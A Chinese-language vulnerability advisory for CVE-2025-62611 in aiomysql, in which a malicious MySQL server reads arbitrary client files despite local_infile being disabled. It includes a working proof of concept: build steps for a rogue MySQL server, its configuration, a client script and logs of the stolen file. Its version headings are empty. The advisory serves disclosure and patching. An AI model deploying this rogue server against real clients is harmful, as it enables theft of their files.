aiomysql漏洞分析:恶意MySQL服务器可任意访问客户端文件
漏洞概述
CVE-2025-62611是一个影响aiomysql库的高危安全漏洞,该漏洞存在于0.2.0及更早版本中。攻击者可以通过构造恶意的MySQL服务器,绕过客户端的local_infile设置限制,任意读取客户端文件系统中的文件。
技术细节
漏洞原理
aiomysql库在发送本地文件到MySQL服务器之前,未能正确检查客户端的安全设置。恶意MySQL服务器可以模拟授权过程,忽略客户端标志,并通过发送LOAD_LOCAL指令数据包来请求客户端的任意文件。
该漏洞与CVE-2019-2503相关,存在相似的安全问题。
漏洞复现步骤
搭建恶意MySQL服务器
- 创建待窃取的文件:
1
|
echo "gotcha" > /tmp/my_secret_file.txt
|
- 克隆并构建恶意服务器:
1
2
3
|
git clone git@github.com:rmb122/rogue_mysql_server.git
cd rogue_mysql_server
make rogue_mysql_server
|
- 配置服务器:
1
|
./rogue_mysql_server -generate
|
在生成的config.yaml文件中,将file_list修改为["/tmp/my_secret_file.txt"]
- 运行恶意服务器:
1
|
./rogue_mysql_server -config config.yaml
|
验证漏洞利用
使用以下Python脚本连接恶意服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import asyncio
import aiomysql
loop = asyncio.get_event_loop()
async def test_example():
conn = await aiomysql.connect(
host="127.0.0.1",
port=3306,
user="root",
password="",
db="mysql",
loop=loop,
local_infile=0, # 显式禁止local_infile
)
cursor = await conn.cursor()
await cursor.execute("SELECT 1")
print(cursor.description)
r = await cursor.fetchall()
print(r)
await cursor.close()
conn.close()
loop.run_until_complete(test_example())
|
攻击效果
恶意服务器将输出以下日志信息,表明成功读取文件:
1
2
3
4
|
level=info msg="Client from addr [xxx], ID [1] try to query [select 1]"
level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]"
level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]"
level=info msg="Client leaved, Addr [xxx], ID [1]"
|
影响范围
受影响版本
已修复版本
受影响环境
该漏洞影响需要连接到不可信MySQL服务器的产品和环境,或者存在服务器被攻陷可能性的场景。
修复建议
可以通过移植PyMySQL的相关修复补丁来解决此问题:
- 参考提交:PyMySQL/PyMySQL@b5e17ce
参考信息
- GHSA ID: GHSA-r397-ff8c-wv2g
- 相关链接:
- aio-libs/aiomysql#1044
- aio-libs/aiomysql@32c4520
安全评分
- CVSS评分: 8.2(高危)
- 弱点类型: CWE-73(外部控制的文件名或路径)
该漏洞允许攻击者在无需用户交互的情况下,通过网络远程利用,对受影响系统的机密性造成高度影响。